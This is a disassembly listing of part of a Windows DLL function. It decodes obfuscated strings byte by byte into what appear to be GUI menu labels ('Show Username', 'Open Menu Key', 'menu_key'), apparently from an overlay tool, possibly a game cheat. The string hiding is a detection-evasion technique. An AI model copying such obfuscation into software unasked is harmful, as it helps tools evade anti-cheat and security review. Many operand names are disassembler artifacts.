mov byte [rsp + 0x50], al
mov cl, 0x6d
call fcn.180056b20
mov byte [rsp + 0x51], al
mov cl, 0x65
call fcn.180056b20
movzx r13d, al
mov cl, WSAGetLastError
call fcn.180056b20
movzx r12d, al
mov cl, 0x75
call fcn.180056b20
movzx r15d, al
mov cl, 0x5f
call fcn.180056b20
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b20
movzx esi, al
mov cl, 0x61
call fcn.180056b20
movzx edi, al
mov cl, 0x62
call fcn.180056b20
movzx ebx, al
xor ecx, ecx
call fcn.180056b20
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x280], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x281], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x282], cl
mov byte [rbp + 0x283], r13b
mov byte [rbp + 0x284], r12b
mov byte [rbp + 0x285], r15b
mov byte [rbp + 0x286], r14b
mov byte [rbp + 0x287], sil
mov byte [rbp + 0x288], dil
mov byte [rbp + 0x289], bl
mov byte [rbp + 0x28a], al
lea rcx, [rbp + 0x3998]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x3998]
call fcn.180014330
xor r15d, r15d
mov edi, r15d
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x280]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056b20
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3998]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800eb140
lea rcx, [rbp + 0x3998]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x3998]
call fcn.180011f20
xor eax, eax
mov dword [rbp + 0x18], eax
mov byte [rbp + 0x1c], al
movzx ecx, byte [str.Menu]
call fcn.180056920
movzx r14d, al
movzx ecx, byte [0x1801cc915]
call fcn.180056920
movzx esi, al
movzx ecx, byte [0x1801cc916]
call fcn.180056920
movzx edi, al
movzx ecx, byte [0x1801cc917]
call fcn.180056920
movzx ebx, al
movzx ecx, byte [0x1801cc918]
call fcn.180056920
mov byte [rbp + 0x18], r14b
mov byte [rbp + 0x19], sil
mov byte [rbp + 0x1a], dil
mov byte [rbp + 0x1b], bl
mov byte [rbp + 0x1c], al
lea rcx, [rbp + 0x39b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000
xor r8d, r8d
mov edi, 5
mov edx, edi
lea rcx, [rbp + 0x39b8]
call fcn.180014330
nop dword [rax]
mov rdx, r15
lea rcx, [rbp + 0x18]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.180056920
movzx ebx, al
mov rdx, r15
lea rcx, [rbp + 0x39b8]
call fcn.180014c80
mov byte [rax], bl
inc r15
sub rdi, 1
jne 0x1800eb230
lea rcx, [rbp + 0x39b8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x39b8]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm0, xmm7
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0xa60], rax
mov dword [rbp + 0xa68], eax
mov cl, 9
call fcn.1800146e0
mov byte [rsp + 0x5c], al
mov cl, 0x4d
call fcn.1800146e0
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.1800146e0
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.1800146e0
mov byte [rsp + 0x52], al
mov cl, 0x75
call fcn.1800146e0
movzx r13d, al
mov cl, 0x20
call fcn.1800146e0
movzx r12d, al
mov cl, 0x43
call fcn.1800146e0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146e0
movzx r14d, al
mov cl, 0x6c
call fcn.1800146e0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146e0
movzx edi, al
mov cl, WSAStartup
call fcn.1800146e0
movzx ebx, al
xor ecx, ecx
call fcn.1800146e0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0xa60], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa61], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa62], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa63], cl
mov byte [rbp + 0xa64], r13b
mov byte [rbp + 0xa65], r12b
mov byte [rbp + 0xa66], r15b
mov byte [rbp + 0xa67], r14b
mov byte [rbp + 0xa68], sil
mov byte [rbp + 0xa69], dil
mov byte [rbp + 0xa6a], bl
mov byte [rbp + 0xa6b], al
lea rcx, [rbp + 0x39d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000
xor r8d, r8d
mov edi, recv
mov edx, edi
lea rcx, [rbp + 0x39d8]
call fcn.180014330
xor esi, esi
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0xa60]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800146e0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x39d8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800eb3c0
lea rcx, [rbp + 0x39d8]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30462
lea rdx, [0x1805ddd48]
call fcn.18009e200
nop
lea rcx, [rbp + 0x39d8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x2a0], rax
mov word [rbp + 0x2a8], ax
mov byte [rbp + 0x2aa], al
mov cl, 0x20
call fcn.180014970
mov byte [rsp + 0x5c], al
mov cl, 0x44
call fcn.180014970
mov byte [rsp + 0x50], al
mov cl, WSAStartup
call fcn.180014970
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180014970
movzx r13d, al
mov cl, 0x77
call fcn.180014970
movzx r12d, al
mov cl, 0x20
call fcn.180014970
movzx r15d, al
mov cl, 0x4d
call fcn.180014970
movzx r14d, al
mov cl, 0x61
call fcn.180014970
movzx esi, al
mov cl, WSAStartup
call fcn.180014970
movzx edi, al
mov cl, 0x6b
call fcn.180014970
movzx ebx, al
xor ecx, ecx
call fcn.180014970
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x2a0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x2a1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x2a2], cl
mov byte [rbp + 0x2a3], r13b
mov byte [rbp + 0x2a4], r12b
mov byte [rbp + 0x2a5], r15b
mov byte [rbp + 0x2a6], r14b
mov byte [rbp + 0x2a7], sil
mov byte [rbp + 0x2a8], dil
mov byte [rbp + 0x2a9], bl
mov byte [rbp + 0x2aa], al
lea rcx, [rbp + 0x39f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x39f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x2a0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014970
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x39f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800eb550
lea rcx, [rbp + 0x39f8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f7050]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x39f8]
call fcn.180011f20
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x1800eb946
call fcn.180096cd0
call fcn.180096cd0
movss xmm6, dword [0x1801ce7c4]
movaps xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x530], rax
mov dword [rbp + 0x538], eax
mov word [rbp + 0x53c], ax
mov byte [rbp + 0x53e], al
mov cl, 0x20
call fcn.180014730
mov byte [rsp + 0x5c], al
mov cl, 0x53
call fcn.180014730
mov byte [rsp + 0x50], al
mov cl, 0x68
call fcn.180014730
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014730
mov byte [rsp + 0x52], al
mov cl, 0x77
call fcn.180014730
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180014730
mov byte [rsp + 0x54], al
mov cl, 0x55
call fcn.180014730
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014730
movzx r13d, al
mov cl, 0x65
call fcn.180014730
movzx r12d, al
mov cl, WSAStartup
call fcn.180014730
movzx r15d, al
mov cl, WSAGetLastError
call fcn.180014730
movzx r14d, al
mov cl, 0x61
call fcn.180014730
movzx esi, al
mov cl, 0x6d
call fcn.180014730
movzx edi, al
mov cl, 0x65
call fcn.180014730
movzx ebx, al
xor ecx, ecx
call fcn.180014730
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x530], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x531], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x532], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x533], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x534], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x535], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x536], cl
mov byte [rbp + 0x537], r13b
mov byte [rbp + 0x538], r12b
mov byte [rbp + 0x539], r15b
mov byte [rbp + 0x53a], r14b
mov byte [rbp + 0x53b], sil
mov byte [rbp + 0x53c], dil
mov byte [rbp + 0x53d], bl
mov byte [rbp + 0x53e], al
lea rcx, [rbp + 0x3a18]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_ntohs
mov edx, ebx
lea rcx, [rbp + 0x3a18]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x530]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.180014730
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3a18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800eb740
lea rcx, [rbp + 0x3a18]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f7058]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x3a18]
call fcn.180011f20
movaps xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x558], eax
mov byte [rbp + 0x55c], al
mov cl, 0x20
call fcn.180014970
mov byte [rsp + 0x5c], al
mov cl, 0x53
call fcn.180014970
mov byte [rsp + 0x50], al
mov cl, 0x68
call fcn.180014970
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014970
mov byte [rsp + 0x52], al
mov cl, 0x77
call fcn.180014970
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180014970
movzx r13d, al
mov cl, 0x43
call fcn.180014970
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014970
movzx r15d, al
mov cl, WSAGetLastError
call fcn.180014970
movzx r14d, al
mov cl, 0x66
call fcn.180014970
movzx esi, al
mov cl, 0x69
call fcn.180014970
movzx edi, al
mov cl, 0x67
call fcn.180014970
movzx ebx, al
xor ecx, ecx
call fcn.180014970
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x550], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x551], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x552], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x553], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x554], cl
mov byte [rbp + 0x555], r13b
mov byte [rbp + 0x556], r12b
mov byte [rbp + 0x557], r15b
mov byte [rbp + 0x558], r14b
mov byte [rbp + 0x559], sil
mov byte [rbp + 0x55a], dil
mov byte [rbp + 0x55b], bl
mov byte [rbp + 0x55c], al
lea rcx, [rbp + 0x3a38]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x3a38]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x550]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180014970
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3a38]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800eb8e0
lea rcx, [rbp + 0x3a38]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f7051]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x3a38]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x410], rax
mov dword [rbp + 0x418], eax
mov word [rbp + 0x41c], ax
mov byte [rbp + 0x41e], al
mov cl, 0x20
call fcn.180014930
mov byte [rsp + 0x5c], al
mov cl, 0x4e
call fcn.180014930
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014930
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014930
mov byte [rsp + 0x52], al
mov cl, 0x69
call fcn.180014930
mov byte [rsp + 0x53], al
mov cl, 0x66
call fcn.180014930
mov byte [rsp + 0x54], al
mov cl, 0x69
call fcn.180014930
mov byte [rsp + 0x55], al
mov cl, 0x63
call fcn.180014930
movzx r13d, al
mov cl, 0x61
call fcn.180014930
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014930
movzx r15d, al
mov cl, 0x69
call fcn.180014930
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014930
movzx esi, al
mov cl, WSAGetLastError
call fcn.180014930
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014930
movzx ebx, al
xor ecx, ecx
call fcn.180014930
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x410], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x411], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x412], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x413], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x414], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x415], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x416], cl
mov byte [rbp + 0x417], r13b
mov byte [rbp + 0x418], r12b
mov byte [rbp + 0x419], r15b
mov byte [rbp + 0x41a], r14b
mov byte [rbp + 0x41b], sil
mov byte [rbp + 0x41c], dil
mov byte [rbp + 0x41d], bl
mov byte [rbp + 0x41e], al
lea rcx, [rbp + 0x3a58]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_ntohs
mov edx, edi
lea rcx, [rbp + 0x3a58]
call fcn.180014330
xor esi, esi
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x410]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.180014930
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3a58]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800ebac0
lea rcx, [rbp + 0x3a58]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805ddd0c]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x3a58]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4078]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x4a0], rax
mov byte [rbp + 0x4a8], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568b0
mov byte [rsp + 0x5c], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800568b0
movzx r13d, al
mov cl, 0x65
call fcn.1800568b0
movzx r12d, al
mov cl, WSAGetLastError
call fcn.1800568b0
movzx r15d, al
mov cl, 0x5f
call fcn.1800568b0
movzx r14d, al
mov cl, 0x6b
call fcn.1800568b0
movzx esi, al
mov cl, 0x65
call fcn.1800568b0
movzx edi, al
mov cl, 0x79
call fcn.1800568b0
movzx ebx, al
xor ecx, ecx
call fcn.1800568b0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x4a0], cl
mov byte [rbp + 0x4a1], r13b
mov byte [rbp + 0x4a2], r12b
mov byte [rbp + 0x4a3], r15b
mov byte [rbp + 0x4a4], r14b
mov byte [rbp + 0x4a5], sil
mov byte [rbp + 0x4a6], dil
mov byte [rbp + 0x4a7], bl
mov byte [rbp + 0x4a8], al
lea rcx, [rbp + 0x3a78]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200000
xor r8d, r8d
mov edi, 9
mov edx, edi
lea rcx, [rbp + 0x3a78]
call fcn.180014330
xor esi, esi
nop
mov rdx, rsi
lea rcx, [rbp + 0x4a0]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.1800568b0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x3a78]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800ebc20
lea rcx, [rbp + 0x3a78]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1801f7054]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3a78]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x880], rax
mov dword [rbp + 0x888], eax
mov word [rbp + 0x88c], ax
mov cl, 0x4f
call fcn.180056b30
mov byte [rsp + 0x5c], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056b30
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056b30
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.180056b30
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.180056b30
mov byte [rsp + 0x53], al
mov cl, 0x4d
call fcn.180056b30
mov byte [rsp + 0x54], al
mov cl, 0x65
call fcn.180056b30
movzx r13d, al
mov cl, WSAGetLastError
call fcn.180056b30
movzx r12d, al
mov cl, 0x75
call fcn.180056b30
movzx r15d, al
mov cl, 0x20
call fcn.180056b30
movzx r14d, al
mov cl, 0x4b
call fcn.180056b30
movzx esi, al
mov cl, 0x65
call fcn.180056b30
movzx edi, al
mov cl, 0x79
call fcn.180056b30
movzx ebx, al
xor ecx, ecx
call fcn.180056b30
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x880], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x881], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x882], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x883], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x884], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x885], cl
mov byte [rbp + 0x886], r13b
mov byte [rbp + 0x887], r12b
mov byte [rbp + 0x888], r15b
mov byte [rbp + 0x889], r14b
mov byte [rbp + 0x88a], sil
mov byte [rbp + 0x88b], dil
mov byte [rbp + 0x88c], bl
mov byte [rbp + 0x88d], al
lea rcx, [rbp + 0x3a98]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400000
xor r8d, r8d
mov esi, recv
mov edx, esi
lea rcx, [rbp + 0x3a98]
call fcn.180014330
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x880]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056b30
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3a98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ebde0
lea rcx, [rbp + 0x3a98]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3a98]
call fcn.180011f20
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180070430
movss xmm0, dword [0x1801ce844]
call fcn.180076c20
lea rcx, [rbp + 0x4080]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm10
call fcn.180076bd0
movaps xmm1, xmm10
lea ecx, [rsi + 7]
call fcn.1800696e0
lea rcx, [rbp + 0x4088]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm11
movss xmm2, dword [0x1801ce7a8]
lea rcx, [rbp + 0x4090]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x1f0], rax
mov word [rbp + 0x1f8], ax
mov byte [rbp + 0x1fa], al
mov cl, 0x23
call fcn.180056810
mov byte [rsp + 0x5c], al
mov cl, 0x23
call fcn.180056810
mov byte [rsp + 0x50], al
mov cl, 0x67
call fcn.180056810
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056810
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056810
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056810
movzx r15d, al
mov cl, 0x5f
call fcn.180056810
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056810
movzx esi, al
mov cl, 0x61
call fcn.180056810
movzx edi, al
mov cl, 0x62
call fcn.180056810
movzx ebx, al
xor ecx, ecx
call fcn.180056810
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x1f0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1f1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1f2], cl
mov byte [rbp + 0x1f3], r13b
mov byte [rbp + 0x1f4], r12b
mov byte [rbp + 0x1f5], r15b
mov byte [rbp + 0x1f6], r14b
mov byte [rbp + 0x1f7], sil
mov byte [rbp + 0x1f8], dil
mov byte [rbp + 0x1f9], bl
mov byte [rbp + 0x1fa], al
lea rcx, [rbp + 0x3ab8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800000
xor r8d, r8d
mov esi, listen
mov edx, esi
lea rcx, [rbp + 0x3ab8]
call fcn.180014330
xor edi, edi
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1f0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056810
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3ab8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ebfd0
lea rcx, [rbp + 0x3ab8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x3ab8]
call fcn.180011f20
movss xmm0, dword [0x1801ce744]
call fcn.180076c20
movss xmm6, dword [0x1801ce74c]
movaps xmm0, xmm6
call fcn.180076bd0
movss xmm1, dword [0x1801ce5d0]
lea ecx, [rsi + 0xd]
call fcn.1800696e0
mov dword [rsp + 0x20], 0xff
mov eax, socket
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x4538]
call fcn.180011e40
mov rdx, rax
lea ecx, [rsi + 0x15]
call fcn.180069630
lea rcx, [rbp + 0x4098]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm6
movaps xmm2, xmm11
lea rcx, [rbp + 0x40a0]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x560], rax
mov dword [rbp + 0x568], eax
mov byte [rbp + 0x56c], al
mov cl, 0x47
call fcn.180056850
mov byte [rsp + 0x5c], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056850
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.180056850
mov byte [rsp + 0x51], al
mov cl, 0x54
call fcn.180056850
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056850
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180056850
movzx r13d, al
mov cl, 0x43
call fcn.180056850
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056850
movzx r15d, al
mov cl, WSAGetLastError
call fcn.180056850
movzx r14d, al
mov cl, 0x66
call fcn.180056850
movzx esi, al
mov cl, 0x69
call fcn.180056850
movzx edi, al
mov cl, 0x67
call fcn.180056850
movzx ebx, al
xor ecx, ecx
call fcn.180056850
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x560], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x561], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x562], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x563], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x564], cl
mov byte [rbp + 0x565], r13b
mov byte [rbp + 0x566], r12b
mov byte [rbp + 0x567], r15b
mov byte [rbp + 0x568], r14b
mov byte [rbp + 0x569], sil
mov byte [rbp + 0x56a], dil
mov byte [rbp + 0x56b], bl
mov byte [rbp + 0x56c], al
lea rcx, [rbp + 0x3ad8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000000
xor r8d, r8d
mov esi, reloc.WS2_32.dll_listen
mov edx, esi
lea rcx, [rbp + 0x3ad8]
call fcn.180014330
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x560]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056850
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3ad8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ec1f0
lea rcx, [rbp + 0x3ad8]
call fcn.1800143e0
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x3ad8]
call fcn.180011f20
test bl, bl
je 0x1800ec259
mov dword [0x1805e4f50], 1
mov ecx, 1
call fcn.180069690
mov ecx, 1
call fcn.1800697c0
call fcn.180070430
mov ecx, 1
call fcn.1800697c0
mov ecx, 1
call fcn.180069690
mov ecx, 1
call fcn.1800697c0
call fcn.180070430
mov ecx, 1
call fcn.180069690
call fcn.1800752a0
mov ecx, 1
call fcn.180069690
mov ecx, 2
call fcn.1800697c0
mov rcx, qword [rbp + 0x5340]
xor rcx, rsp
call fcn.1801554d0
lea r11, [rsp + 0x54f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x11c0]
call fcn.180014d90
int3